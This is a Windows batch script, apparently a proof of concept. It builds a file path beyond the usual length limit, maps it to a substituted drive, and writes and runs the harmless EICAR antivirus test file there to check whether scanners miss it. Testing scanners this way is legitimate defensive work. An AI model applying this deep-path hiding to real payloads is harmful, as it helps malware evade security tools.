@echo off cls echo Start test-script NTFS-limit @echo Create a filepath to the limit of NTFS md c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890 \1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345 67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\ 123456789 cd c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890 \1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345 67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\ 123456789 @echo Create the Eicar test-string for PoC. This should be detected normally if you have an active virusscanner. echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* >EICAR.TXT echo. >>EICAR.TXT @echo Activate the Eicar test-string copy EICAR.TXT EICAR1.COM >NUL @echo Create a subst-drive Q: for this path subst Q: c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890 \1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345 67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\ 123456789 @echo Create e even deeper filepath (thus exceeding the limit of NTFS's explorer) md Q:\1234567890\1234567890\1234567890 @echo Change current folder into "the deep" Q: cd Q:\1234567890\1234567890\1234567890 @echo Create the Eicar test-string echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* >EICAR.TXT echo. >>EICAR.TXT @echo Activate the Eicar test-string copy EICAR.TXT EICAR2.COM >NUL EICAR2.COM echo . echo End of test-script